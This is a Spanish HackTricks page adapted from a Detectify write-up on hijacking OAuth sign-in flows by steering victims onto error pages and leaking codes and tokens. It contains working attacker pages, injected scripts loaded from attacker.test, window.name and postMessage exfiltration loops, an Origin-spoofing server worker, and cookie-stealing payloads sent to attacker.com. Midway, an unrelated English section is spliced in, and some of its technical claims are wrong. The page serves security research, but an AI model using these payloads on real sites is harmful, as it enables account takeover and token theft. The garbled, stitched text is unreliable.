47 KiB
OAuth - Flujos felices, XSS, iframes y mensajes POST para filtrar valores de código y estado
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Este contenido fue tomado de https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url****
Explicación de diferentes flujos de OAuth
Tipos de respuesta
En primer lugar, existen diferentes tipos de respuesta que se pueden utilizar en el flujo de OAuth. Estas respuestas otorgan el token para iniciar sesión como los usuarios o la información necesaria para hacerlo.
Los tres más comunes son:
code
+state
. El código se utiliza para llamar al servidor del proveedor de OAuth para obtener un token. El parámetro state se utiliza para verificar que el usuario correcto está realizando la llamada. Es responsabilidad del cliente de OAuth validar el parámetro de estado antes de realizar la llamada al servidor del proveedor de OAuth.id_token
. Es un token JSON Web Token (JWT) firmado utilizando un certificado público del proveedor de OAuth para verificar que la identidad proporcionada es realmente quien dice ser.token
. Es un token de acceso utilizado en la API del proveedor de servicios.
Modos de respuesta
Existen diferentes modos que el flujo de autorización podría utilizar para proporcionar los códigos o tokens al sitio web en el flujo de OAuth, estos son cuatro de los más comunes:
- Consulta. Enviando parámetros de consulta como una redirección de vuelta al sitio web (
https://ejemplo.com/callback?code=xxx&state=xxx
). Utilizado paracode+state
. El código solo se puede usar una vez y se necesita el secreto del cliente de OAuth para adquirir un token de acceso al usar el código.- Este modo no se recomienda para tokens ya que los tokens se pueden usar varias veces y no deben terminar en registros del servidor o similares. La mayoría de los proveedores de OAuth no admiten este modo para tokens, solo para código. Ejemplos:
response_mode=query
es utilizado por Apple.response_type=code
es utilizado por Google o Facebook.
- Este modo no se recomienda para tokens ya que los tokens se pueden usar varias veces y no deben terminar en registros del servidor o similares. La mayoría de los proveedores de OAuth no admiten este modo para tokens, solo para código. Ejemplos:
- Fragmento. Usando una redirección de fragmento (
https://ejemplo.com/callback#access_token=xxx
). En este modo, la parte del fragmento de la URL no termina en ningún registro del servidor y solo se puede acceder desde el lado del cliente utilizando javascript. Este modo de respuesta se utiliza para tokens. Ejemplos:response_mode=fragment
es utilizado por Apple y Microsoft.response_type
contieneid_token
otoken
y es utilizado por Google, Facebook, Atlassian y otros.
- Mensaje web. Usando postMessage a un origen fijo del sitio web:
postMessage('{"access_token":"xxx"}','https://ejemplo.com')
Si se admite, a menudo se puede utilizar para todos los diferentes tipos de respuesta. Ejemplos:response_mode=web_message
es utilizado por Apple.redirect_uri=storagerelay://...
es utilizado por Google.redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...
es utilizado por Facebook.
- Publicación de formulario. Usando una publicación de formulario a un
redirect_uri
válido, se envía una solicitud POST regular de vuelta al sitio web. Esto se puede utilizar para código y tokens. Ejemplos:response_mode=form_post
es utilizado por Apple.ux_mode=redirect&login_uri=https://ejemplo.com/callback
es utilizado por Google Sign-In (GSI).
Romper state
intencionalmente
La especificación de OAuth recomienda un parámetro state
en combinación con un response_type=code
para asegurarse de que el usuario que inició el flujo también es el que usa el código después del flujo de OAuth para emitir un token.
Sin embargo, si el valor de state
es inválido, el code
no se consumirá ya que es responsabilidad del sitio web (el último) validar el estado. Esto significa que si un atacante puede enviar un enlace de flujo de inicio de sesión a una víctima contaminada con un state
válido del atacante, el flujo de OAuth fallará para la víctima y el code
nunca se enviará al proveedor de OAuth. El código seguirá siendo posible de usar si el atacante puede obtenerlo.
- El atacante inicia un flujo de inicio de sesión en el sitio web utilizando "Iniciar sesión con X".
- El atacante utiliza el valor
state
y construye un enlace para que la víctima inicie sesión con el proveedor de OAuth pero con elstate
del atacante. - La víctima inicia sesión con el enlace y es redirigida de vuelta al sitio web.
- El sitio web valida el
state
para la víctima y detiene el procesamiento del flujo de inicio de sesión ya que no es un estado válido. Página de error para la víctima. - El atacante encuentra una forma de filtrar el
code
de la página de error. - El atacante ahora puede iniciar sesión con su propio
state
y el `
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
redireccionará a https://example.com/callback?code=xxx&state=yyy
. Pero:
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
client_id=client-id.apps.googleusercontent.com&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
scope=openid%20email%20profile&
response_type=code,id_token&
access_type=offline&
state=yyy&
prompt=consent&flowName=GeneralOAuthFlow
Se redirigirá a https://example.com/callback#code=xxx&state=yyy&id_token=zzz
.
La misma idea se aplica a Apple si usas:
https://appleid.apple.com/auth/authorize?
response_type=code&
response_mode=query&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
Serás redirigido a https://example.com/callback?code=xxx&state=yyy
, pero:
https://appleid.apple.com/auth/authorize?
response_type=code+id_token&
response_mode=fragment&
scope=&
state=zzz&
client_id=client-id&
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
Te redirigirá a https://example.com/callback#code=xxx&state=yyy&id_token=zzz
.
Caminos no felices
El autor de la investigación llamó caminos no felices a las URLs incorrectas donde el usuario iniciaba sesión a través de OAuth y era redirigido. Esto es útil porque si el cliente recibe el token o un estado+codigo válido pero no llega a la página esperada, esa información no será consumida correctamente y si el atacante encuentra una forma de filtrar esa información del "camino no feliz", podrá tomar el control de la cuenta.
Por defecto, el flujo de OAuth llegará al camino esperado, sin embargo, podría haber algunas configuraciones incorrectas potenciales que podrían permitir a un atacante crear una solicitud OAuth inicial específica que hará que el usuario llegue a un camino no feliz después de iniciar sesión.
Desajustes en la URL de redirección
Estas configuraciones incorrectas "comunes" se encontraron en la URL de redirección de la comunicación OAuth.
La especificación **** indica estrictamente que la URL de redirección debe compararse estrictamente con la definida, sin permitir cambios aparte del puerto que aparece o no. Sin embargo, algunos puntos finales permitían algunas modificaciones:
Añadir una ruta a la URL de redirección
Algunos proveedores de OAuth permiten agregar datos adicionales a la ruta para redirect_uri
. Esto también rompe la especificación de la misma manera que para "Cambio de caso en la URL de redirección". Por ejemplo, teniendo una URL de redirección https://example.com/callback
, enviando:
response_type=id_token&
redirect_uri=https://example.com/callbackxxx
Añadiendo parámetros a redirect-uri
Algunos proveedores de OAuth permiten agregar parámetros adicionales de consulta o fragmento a la redirect_uri
. Puedes aprovechar esto al provocar un camino no feliz proporcionando los mismos parámetros que se agregarán a la URL. Por ejemplo, si tienes una redirect_uri
de https://example.com/callback
, envía:
response_type=code&
redirect_uri=https://example.com/callback%3fcode=xxx%26
El resultado en estos casos sería una redirección a https://example.com/callback?code=xxx&code=real-code
. Dependiendo del sitio web que reciba múltiples parámetros con el mismo nombre, esto también podría desencadenar un camino no feliz. Lo mismo se aplica a token
e id_token
:
response_type=code&
redirect_uri=https://example.com/callback%23id_token=xxx%26
Termina como https://example.com/callback#id_token=xxx&id_token=real-id_token
. Dependiendo del javascript que recupera los parámetros de fragmento cuando hay múltiples parámetros con el mismo nombre, esto también podría terminar en un camino no feliz.
Restos de uri de redirección o configuraciones incorrectas
Al recopilar todas las URL de inicio de sesión que contienen los valores de redirect_uri
, también podría probar si otros valores de redirección de URI también eran válidos. De las 125 flujos de inicio de sesión de Google diferentes que guardé de los sitios web que probé, 5 sitios web tenían la página de inicio también como un redirect_uri
válido. Por ejemplo, si se estaba utilizando redirect_uri=https://auth.example.com/callback
, en estos 5 casos, cualquiera de estos también era válido:
redirect_uri=https://example.com/
redirect_uri=https://example.com
redirect_uri=https://www.example.com/
redirect_uri=https://www.example.com
Esto fue especialmente interesante para los sitios web que realmente usaban id_token
o token
, ya que response_type=code
aún tendría al proveedor de OAuth validando el redirect_uri
en el último paso del baile de OAuth al adquirir un token.
Gadget 1: Listeners de postMessage con verificación de origen débil o inexistente que filtra la URL
En este ejemplo, el último camino no feliz donde se envió el token/código fue enviando un mensaje de solicitud de publicación filtrando location.href.
Un ejemplo fue un SDK de análisis para un sitio popular que se cargó en sitios web:
Este SDK expuso un listener de postMessage que envió el siguiente mensaje cuando el tipo de mensaje coincidió:
Enviando un mensaje a él desde un origen diferente:
openedwindow = window.open('https://www.example.com');
...
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
Un mensaje de respuesta aparecería en la ventana que envió el mensaje que contiene la location.href
del sitio web:
El flujo que se podría utilizar en un ataque dependía de cómo se usaban los códigos y tokens para el flujo de inicio de sesión, pero la idea era:
Ataque
- El atacante envía al usuario víctima un enlace manipulado que ha sido preparado para resultar en un flujo no feliz en la danza de OAuth.
- La víctima hace clic en el enlace. Se abre una nueva pestaña con un flujo de inicio de sesión con uno de los proveedores de OAuth del sitio web que está siendo explotado.
- Se activa un flujo no feliz en el sitio web que está siendo explotado, se carga el escucha de postMessage vulnerable en la página en la que aterrizó la víctima, todavía con el código o tokens en la URL.
- La pestaña original enviada por el atacante envía un montón de postMessages a la nueva pestaña con el sitio web para que el escucha de postMessage filtre la URL actual.
- La pestaña original enviada por el atacante escucha el mensaje enviado a ella. Cuando la URL regresa en un mensaje, se extrae el código y token y se envía al atacante.
- El atacante inicia sesión como la víctima utilizando el código o token que terminó en el flujo no feliz.
Gadget 2: XSS en un dominio de sandbox/terceros que obtiene la URL
Gadget 2: ejemplo 1, robando window.name de un iframe de sandbox
Este tenía un iframe cargado en la página donde terminó la danza de OAuth. El nombre del iframe era una versión JSON-stringified del objeto window.location
. Esta es una forma antigua de transferir datos entre dominios, ya que la página en el iframe puede obtener su propio window.name
establecido por el padre:
i = document.createElement('iframe');
i.name = JSON.stringify(window.location)
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
document.body.appendChild(i)
El dominio cargado en el iframe también tenía un XSS simple:
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
Ataque
Si tienes un XSS en un dominio en una ventana, esta ventana puede luego acceder a otras ventanas de la misma origen si hay una relación de padre/hijo/opener entre las ventanas.
Esto significa que un atacante podría explotar el XSS para cargar una nueva pestaña con el enlace OAuth creado que terminará en la ruta que carga el iframe con el token en el nombre. Luego, desde la página explotada por XSS, será posible leer el nombre del iframe porque tiene un opener sobre la página principal del iframe y exfiltrarlo.
Más específicamente:
-
Crear una página maliciosa que incruste un iframe del sandbox con el XSS cargando mi propio script:
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript: x=createElement('script'), x.src='//attacker.test/inject.js', document.body.appendChild(x);" style="border:0;width:500px;height:500px"></iframe></div>
-
En mi script cargado en el sandbox, reemplacé el contenido con el enlace a usar para la víctima:
document.body.innerHTML = '<a href="#" onclick=" b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");"> Haz clic aquí para secuestrar el token</a>';
También inicié un script en un intervalo para verificar si se abrió el enlace y si el iframe que quería alcanzar está allí para obtener el
window.name
establecido en el iframe con la misma origen que el iframe en la página del atacante:x = setInterval(function() { if(parent.window.b && parent.window.b.frames[0] && parent.window.b.frames[0].window && parent.window.b.frames[0].window.name) { top.postMessage(parent.window.b.frames[0].window.name, '*'); parent.window.b.close(); clearInterval(x); } }, 500);
-
La página del atacante puede simplemente escuchar el mensaje que acabamos de enviar con el
window.name
:<script> window.addEventListener('message', function (e) { if (e.data) { document.getElementById('leak').innerText = 'Robamos el token: ' + e.data; } }); </script>
Gadget 2: ejemplo 2, iframe con XSS + comprobación de origen del padre
El segundo ejemplo fue un iframe cargado en el camino no feliz con un XSS usando postMessage, pero solo se permitieron mensajes desde el padre
que lo cargó. La location.href
se envió al iframe cuando solicitó initConfig
en un mensaje a la ventana padre
.
La ventana principal cargó el iframe de esta manera:
<iframe src="https://challenge-iframe.example.com/"></iframe>
OAuth Happy Paths: XSS, iframes and post messages to leak code and state values
Introduction
In this section we will see how to exploit some happy paths of OAuth to leak code and state values. We will use XSS, iframes and post messages to achieve this.
OAuth Happy Paths
Authorization Code Grant
Step 1: User Authorization
The first step of the Authorization Code Grant flow is to redirect the user to the authorization server. This is usually done by sending the user to a URL like this:
https://auth-server.com/authorize?response_type=code&client_id=CLIENT_ID&redirect_uri=REDIRECT_URI&state=STATE
The response_type
parameter is set to code
, which means that the authorization server will return an authorization code to the client. The client_id
parameter is the ID of the client application that is requesting authorization. The redirect_uri
parameter is the URL that the authorization server will redirect the user to after the user has authorized the request. The state
parameter is a random value that is generated by the client application and is used to prevent CSRF attacks.
Step 2: Authorization Code Exchange
Once the user has authorized the request, the authorization server will redirect the user to the redirect_uri
specified in the previous step. The authorization code will be included in the query string of the URL:
https://client-app.com/callback?code=AUTHORIZATION_CODE&state=STATE
The client application can then exchange the authorization code for an access token by sending a POST request to the authorization server:
POST /token HTTP/1.1
Host: auth-server.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=AUTHORIZATION_CODE&redirect_uri=REDIRECT_URI&client_id=CLIENT_ID&client_secret=CLIENT_SECRET
The grant_type
parameter is set to authorization_code
, which indicates that the client application is exchanging an authorization code for an access token. The code
parameter is the authorization code that was received in the previous step. The redirect_uri
parameter must match the redirect_uri
that was used in the previous step. The client_id
and client_secret
parameters are the credentials of the client application.
Exploiting the Happy Paths
XSS
One way to exploit the Authorization Code Grant flow is to inject an XSS payload into the state
parameter of the authorization request. When the authorization server redirects the user back to the client application, the XSS payload will be executed in the context of the client application.
For example, if the client application is vulnerable to XSS and the attacker injects the following payload into the state
parameter:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
The attacker will be able to steal the user's session cookie when the user is redirected back to the client application.
Iframes
Another way to exploit the Authorization Code Grant flow is to use an iframe to load the authorization server's login page. When the user logs in, the authorization server will set a cookie that is scoped to the authorization server's domain. The client application can then use JavaScript to read the cookie and send it to the attacker's server.
For example, the attacker can create an iframe that loads the authorization server's login page:
<iframe src="https://auth-server.com/login"></iframe>
When the user logs in, the authorization server will set a cookie that is scoped to the auth-server.com
domain. The attacker can then use JavaScript to read the cookie and send it to their server:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Post Messages
A third way to exploit the Authorization Code Grant flow is to use post messages to communicate between the client application and the authorization server. The client application can use post messages to send the authorization code to the attacker's server.
For example, the attacker can create an iframe that loads the client application:
<iframe src="https://client-app.com"></iframe>
When the user authorizes the request, the authorization server will redirect the user back to the client application. The client application can then use post messages to send the authorization code to the attacker's server:
<script>
window.addEventListener('message', function(event) {
if (event.origin === 'https://client-app.com') {
var authorizationCode = event.data.authorizationCode;
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/steal.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('authorizationCode=' + authorizationCode);
}
});
</script>
Conclusion
In this section we have seen how to exploit some happy paths of OAuth to leak code and state values. We have used XSS, iframes and post messages to achieve this. It is important to note that these attacks can be prevented by properly validating and sanitizing user input, and by using secure coding practices.
<script>
window.addEventListener('message', function (e) {
if (e.source !== window.parent) {
// not a valid origin to send messages
return;
}
if (e.data.type === 'loadJs') {
loadScript(e.data.jsUrl);
} else if (e.data.type === 'initConfig') {
loadConfig(e.data.config);
}
});
</script>
Ataque
En este caso, el atacante carga un iframe con la página de vulnerabilidad XSS de post-message, y explota el XSS para cargar JS arbitrario. Este JS abrirá una pestaña con el enlace OAuth. Después de iniciar sesión, la página final contiene el token en la URL y ha cargado un iframe (el iframe de vulnerabilidad XSS post-message).
Luego, el JS arbitrario (del XSS explotado) tiene un abridor para esa pestaña, por lo que accede al iframe y lo hace pedir al padre el initConfig
(que contiene la URL con el token). La página principal se lo da al iframe, que también se le ordena que lo filtre.
En este caso, podría hacer un método similar al ejemplo anterior:
-
Crear una página maliciosa que incruste un iframe del sandbox, adjuntar un onload para activar un script cuando se cargue el iframe.
<div id="leak"><iframe id="i" name="i" src="https://challenge-iframe.example.com/" onload="run()" style="border:0;width:500px;height:500px"></iframe></div>
-
Como la página maliciosa es entonces el padre del iframe, podría enviar un mensaje al iframe para cargar nuestro script en el origen del sandbox usando postMessage (XSS):
<script> function run() { i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*') } </script>
-
En mi script que se carga en el sandbox, reemplacé el contenido con el enlace para la víctima:
document.body.innerHTML = '<a href="#" onclick=" b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");"> Haz clic aquí para secuestrar el token</a>';
También inicié un script en un intervalo para verificar si se abrió el enlace y si estaba allí el iframe que quería alcanzar, para ejecutar javascript dentro de él desde mi iframe a la ventana principal. Luego adjunté un oyente de postMessage que pasó el mensaje de vuelta a mi iframe en la ventana maliciosa:
x = setInterval(function() { if(b && b.frames[1]) { b.frames[1].eval( 'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' + 'top.postMessage({type:'initConfig'},"*")' ) clearInterval(x) } }, 500);
-
La página del atacante que tenía el iframe cargado puede luego escuchar el mensaje que envié desde el proxy de oyente de postMessage inyectado en el iframe de la ventana principal:
<script> window.addEventListener('message', function (e) { if (e.data) { document.getElementById('leak').innerText = 'Robamos el token: ' + JSON.stringify(e.data); } }); </script>
Gadget 3: Usando APIs para obtener URL fuera de límites
Este gadget resultó ser el más divertido. Hay algo satisfactorio en enviar a la víctima a algún lugar y luego recoger datos sensibles de una ubicación diferente.
Gadget 3: ejemplo 1, iframe de almacenamiento sin verificación de origen
El primer ejemplo utilizó un servicio externo para datos de seguimiento. Este servicio agregó un "iframe de almacenamiento":
<iframe
id="tracking"
name="tracking"
src="https://cdn.customer1234.analytics.example.com/storage.html">
</iframe>
La ventana principal se comunicaría con este iframe usando postMessage para enviar datos de seguimiento que se guardarían en el localStorage del origen donde se encontraba storage.html
:
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
La ventana principal también podría obtener este contenido:
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
Cuando se cargó el iframe en la inicialización, se guardó una clave para la última ubicación del usuario utilizando location.href
:
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
Si pudieras comunicarte con este origen de alguna manera y hacer que te envíe el contenido, se podría obtener el location.href
de este almacenamiento. El oyente de postMessage para el servicio tenía una lista de bloqueo y una lista de permitidos de orígenes. Parece que el servicio de análisis permitía que el sitio web definiera qué orígenes permitir o denegar:
var blockList = [];
var allowList = [];
var syncListeners = [];
window.addEventListener('message', function(e) {
// If there's a blockList, check if origin is there and if so, deny
if (blockList && blockList.indexOf(e.origin) !== -1) {
return;
}
// If there's an allowList, check if origin is there, else deny
if (allowList && allowList.indexOf(e.origin) == -1) {
return;
}
// Only parent can talk to it
if (e.source !== window.parent) {
return;
}
handleMessage(e);
});
function handleMessage(e) {
if (data.type === 'sync') {
syncListeners.push({source: e.source, origin: e.origin})
} else {
...
}
window.addEventListener('storage', function(e) {
for(var i = 0; i < syncListeners.length; i++) {
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
}
}
Además, si tuvieras un origen válido basado en la allowList
, también podrías solicitar una sincronización, lo que te daría cualquier cambio realizado en el localStorage en esta ventana enviado a ti cuando se realizaron.
Ataque
En el sitio web que tenía este almacenamiento cargado en el camino no feliz de la danza de OAuth, no se definieron orígenes de allowList
; esto permitió que cualquier origen hablara con el oyente de postMessage si el origen era el parent
de la ventana:
-
Creé una página maliciosa que incrustaba un iframe del contenedor de almacenamiento y adjuntaba un onload para activar un script cuando se cargaba el iframe.
<div id="leak"><iframe id="i" name="i" src="https://cdn.customer12345.analytics.example.com/storage.html" onload="run()"></iframe></div>
-
Como la página maliciosa era ahora el padre del iframe, y no se definieron orígenes en la
allowList
, la página maliciosa podía enviar mensajes al iframe para decirle al almacenamiento que enviara mensajes para cualquier actualización del almacenamiento. También podría agregar un oyente a la página maliciosa para escuchar cualquier actualización de sincronización del almacenamiento:<script> function run() { i.postMessage({type:'sync'}, '*') } window.addEventListener('message', function (e) { if (e.data && e.data.type === 'sync') { document.getElementById('leak').innerText = 'Robamos el token: ' + JSON.stringify(e.data); } }); </script>
-
La página maliciosa también contendría un enlace regular para que la víctima hiciera clic:
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..." target="_blank">Haz clic aquí para secuestrar el token</a>';
-
La víctima haría clic en el enlace, pasaría por la danza de OAuth y terminaría en el camino no feliz cargando el script de seguimiento y el iframe de almacenamiento. El iframe de almacenamiento recibe una actualización de
last-url
. El eventowindow.storage
se activaría en el iframe de la página maliciosa ya que se actualizó el localStorage, y la página maliciosa que ahora recibía actualizaciones cada vez que cambiaba el almacenamiento recibiría un postMessage con la URL actual de la víctima:
Gadget 3: ejemplo 2, mezcla de clientes en CDN - DIY storage-SVG sin verificación de origen
Como el servicio de análisis en sí mismo tenía una recompensa por errores, también estaba interesado en ver si podía encontrar una manera de filtrar URLs también para los sitios web que habían configurado orígenes adecuados para el iframe de almacenamiento.
Cuando comencé a buscar el dominio cdn.analytics.example.com
en línea sin la parte del cliente, noté que este CDN también contenía imágenes cargadas por los clientes del servicio:
https://cdn.analytics.example.com/img/customer42326/event-image.png
https://cdn.analytics.example.com/img/customer21131/test.png
También noté que había archivos SVG servidos en línea como Content-type: image/svg+xml
en este CDN:
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
Me registré como usuario de prueba en el servicio y subí mi propio activo, que también apareció en la CDN:
https://cdn.analytics.example.com/img/customer94342/tiger.svg
La parte interesante fue que, si luego usabas el subdominio específico del cliente para el CDN, la imagen seguía siendo servida. Esta URL funcionó:
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
Esto significaba que el cliente con ID #94342 podía renderizar archivos SVG en el almacenamiento del cliente #12345.
Subí un archivo SVG con un payload XSS simple:
https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
<script xlink:href="data:,alert(document.domain)"></script>
</svg>
No muy bien. El CDN agregó un encabezado Content-Security-Policy: default-src 'self'
a todo lo que estaba bajo img/
. También se podía ver que el encabezado del servidor mencionaba S3, revelando que el contenido se había cargado en un bucket de S3:
Una peculiaridad interesante de S3 es que los directorios no son realmente directorios en S3; la ruta antes de la clave se llama "prefijo". Esto significa que a S3 no le importa si los /
están codificados en URL o no, aún servirá el contenido si se codifica en URL cada barra diagonal en la URL. Si cambiara img/
a img%2f
en la URL, la imagen seguiría resolviéndose. Sin embargo, en ese caso se eliminó el encabezado CSP y se activó el XSS:
Luego pude cargar un SVG que crearía la misma forma de controlador de almacenamiento y oyente de postMessage como el storage.html
regular, pero con una lista de permitidos vacía. Eso me permitió hacer el mismo tipo de ataque incluso en sitios web que habían definido correctamente los orígenes permitidos que podían hablar con el almacenamiento.
Cargué un SVG que se veía así:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
</svg>
Entonces, podría utilizar la misma metodología que en el ejemplo #1, pero en lugar de insertar el storage.html
en un iframe, simplemente podría insertar el SVG con la barra diagonal codificada en la URL:
<div id="leak"><iframe
id="i" name="i"
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
onload="run()"></iframe></div>
Dado que ningún sitio web sería capaz de solucionar esto por sí mismo, envié un informe al proveedor de análisis encargado del CDN en su lugar:
La idea de buscar errores de configuración en terceros era principalmente para confirmar que hay múltiples formas de lograr la filtración de tokens y, dado que el tercero tenía un programa de recompensas por errores, esto era solo un receptor diferente para el mismo tipo de error, la diferencia era que el impacto era para todos los clientes del servicio de análisis. En este caso, el cliente del tercero realmente tenía la capacidad de configurar adecuadamente la herramienta para evitar que filtrara datos al atacante. Sin embargo, dado que los datos sensibles aún se enviaban al tercero, era interesante ver si había alguna forma de evitar por completo la configuración adecuada de la herramienta por parte del cliente.
Gadget 3: ejemplo 3, API de chat-widget
El último ejemplo se basó en un chat-widget que estaba presente en todas las páginas de un sitio web, incluso en las páginas de error. Había varios listeners de postMessage, uno de ellos sin una verificación de origen adecuada que solo permitía iniciar la ventana emergente de chat. Otro listener tenía una estricta verificación de origen para que el chat-widget recibiera una llamada de inicialización y el token de chat-api actual que se usaba para el usuario actual.
<iframe src="https://chat-widget.example.com/chat"></iframe>
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'launch-chat') {
openChat();
}
});
function openChat() {
...
}
var chatApiToken;
window.addEventListener('message', function(e) {
if (e.origin === 'https://chat-widget.example.com') {
if (e.data.type === 'chat-widget') {
if (e.data.key === 'api-token') {
chatApiToken = e.data.value;
}
if(e.data.key === 'init') {
chatIsLoaded();
}
}
}
});
function chatIsLoaded() {
...
}
</script>
Cuando se cargó el chat-iframe:
- Si existía un chat-api-token en el localStorage del chat-widget, enviaría el api-token a su padre usando postMessage. Si no existía ningún chat-api-token, no enviaría nada.
- Cuando el iframe se ha cargado, enviará un postMessage con
{"type": "chat-widget", "key": "init"}
a su padre.
Si se hizo clic en el icono de chat en la ventana principal:
-
Si no se había enviado ningún chat-api-token, el chat-widget crearía uno y lo pondría en el localStorage de su propia origen y lo enviaría por postMessage a la ventana principal.
-
La ventana principal haría una llamada API al servicio de chat. El punto final de la API estaba restringido por CORS al sitio web específico configurado para el servicio. Tenía que proporcionar un encabezado
Origin
válido para la llamada API con el chat-api-token para permitir que se enviara la solicitud. -
La llamada API desde la ventana principal contendría
location.href
y lo registraría como la "página actual" del visitante con el chat-api-token. La respuesta luego contendría tokens para conectarse a un websocket para iniciar la sesión de chat:{ "api_data": { "current_page": "https://example.com/#access_token=test", "socket_key": "xxxyyyzzz", ... } }
En este ejemplo, me di cuenta de que el anuncio del chat-api-token siempre se anunciaría al padre del iframe del chat-widget, y si obtuviera el chat-api-token, podría hacer una solicitud del lado del servidor usando el token y luego agregar mi propio encabezado Origin
artificial a la llamada API ya que un encabezado CORS solo importa para un navegador. Esto resultó en la siguiente cadena:
-
Creé una página maliciosa que incrusta un iframe del chat-widget, agregué un listener de postMessage para escuchar el chat-api-token. Además, activé un evento para volver a cargar el iframe si no había obtenido el api-token en 2 segundos. Esto fue para asegurarme de que también apoyaba a las víctimas que nunca habían iniciado el chat, y como podía activar para abrir el chat de forma remota, primero necesitaba el chat-api-token para comenzar a sondear los datos en el chat-API desde el lado del servidor.
<div id="leak"><iframe id="i" name="i" src="https://chat-widget.example.com/chat" onload="reloadToCheck()"></iframe></div> <script> var gotToken = false; function reloadToCheck() { if (gotToken) return; setTimeout(function() { document.getElementById('i').src = 'https://chat-widget.example.com/chat?' + Math.random(); }, 2000); } window.onmessage = function(e) { if (e.data.key === 'api-token') { gotToken = true; lookInApi(e.data.value); } } launchChatWindowByPostMessage(); </script>
-
Agregué un enlace a la página maliciosa para abrir el flujo de inicio de sesión que terminaría en la página con el chat-widget con el token en la URL:
<a href="#" onclick="b=window.open('https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...');">Haz clic aquí para secuestrar el token</a>
-
La función
launchChatWindowByPostMessage()
enviará continuamente un postMessage a la ventana principal, si está abierta, para lanzar el chat-widget:function launchChatWindowByPostMessage() { var launch = setInterval(function() { if(b) { b.postMessage({type: 'launch-chat'}, '*'); } }, 500); }
-
Cuando la víctima hizo clic en el enlace y terminó en la página de error, el chat se lanzaría y se crearía un chat-api-token. Mi recarga del chat-widget iframe en la página maliciosa obtendría el
api-token
a través de postMessage y luego podría comenzar a buscar en la API la URL actual de la víctima:function lookInApi(token) { var look = setInterval(function() { fetch('https://fetch-server-side.attacker.test/?token=' + token).then(e => e.json()).then(e => { if (e && e.api_data && e.api_data.current_url && e.api_data.current_url.indexOf('access_token') !== -1) { var payload = e.api_data.current_url document.getElementById('leak').innerHTML = 'El atacante ahora tiene el token: ' + payload; clearInterval(look); } }); }, 2000); }
-
La página del lado del servidor en
https://fetch-server-side.attacker.test/?token=xxx
haría la llamada API con el encabezado Origin agregado para hacer que el Chat-API piense que lo estaba usando como un origen legítimo:addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)) }) async function getDataFromChatApi(token) { return await fetch('https://chat-widget.example.com/api', {headers:{Origin: 'https://example.com', 'Chat-Api-Token': token}}); } function handleRequest(request) { const token = request.url.match('token=([^&#]+)')[1] || null; return token ? getDataFromChatApi(token) : null; }
-
Cuando la víctima hizo clic en el enlace y pasó por la danza de OAuth y aterrizó en la página de error con el token agregado, el chat-widget se abriría de repente, registraría la URL actual y el atacante tendría el token de acceso de la víctima.
Otras ideas para filtrar URLs
Todavía hay diferentes tipos de gadgets esperando ser encontrados. Aquí hay uno de esos casos que no pude encontrar en la naturaleza pero podría ser una forma potencial de hacer que la URL se filtre usando cualquiera de los modos de respuesta disponibles.
Una página en un dominio que enruta cualquier postMessage a su abridor
Dado que todos los tipos de respuesta web_message
